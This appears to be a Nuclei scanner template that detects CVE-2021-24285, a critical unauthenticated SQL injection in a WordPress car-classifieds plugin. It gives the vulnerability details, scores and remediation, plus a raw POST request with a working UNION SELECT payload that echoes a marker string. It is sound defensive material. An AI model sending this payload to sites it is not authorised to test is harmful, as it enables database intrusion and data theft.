WordPress Car Seller - Auto Classifieds Script - SQL Injection

id: CVE-2021-24285

info:
  name: WordPress Car Seller - Auto Classifieds Script - SQL Injection
  author: ShreyaPohekar
  severity: critical
  description: The request_list_request AJAX call of the Car Seller - Auto Classifieds Script WordPress plugin through 2.1.0, available to both authenticated and unauthenticated users, does not sanitize, validate or escape the order_id POST parameter before using it in a SQL statement, leading to a SQL injection issue.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in the WordPress Car Seller - Auto Classifieds Script.
  reference:
    - https://codevigilant.com/disclosure/2021/wp-plugin-cars-seller-auto-classifieds-script-sql-injection/
    - https://wpscan.com/vulnerability/f35d6ab7-dd52-48b3-a79c-3f89edf24162
    - https://codevigilant.com/disclosure/2021/24-04-2021-wp-plugin-cars-seller-auto-classifieds-script-sql-injection/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-24285
    cwe-id: CWE-89
    epss-score: 0.21023
    epss-percentile: 0.95973
    cpe: cpe:2.3:a:cars-seller-auto-classifieds-script_project:cars-seller-auto-classifieds-script:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: cars-seller-auto-classifieds-script_project
    product: cars-seller-auto-classifieds-script
    framework: wordpress
  tags: cve2021,cve,wordpress,wp-plugin,sqli,wpscan,cars-seller-auto-classifieds-script_project

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=request_list_request&order_id=1 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a767671,0x685741416c436654694d446d416f717a6b54704a457a5077564653614970664166646654696e724d,0x7171786b71),NULL-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "qzvvqhWAAlCfTiMDmAoqzkTpJEzPwVFSaIpfAfdfTinrMqqxkq"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220172be49164feec344dfa1d49f0cdf335917a5d2a75846fce80ea6e1bbe5b7bee02210089fab324ff44731061d8adcd715f206c9c089bd9a7fe64fea86c8c3aedf97623:922c64590222798bb761d5b6d8e72950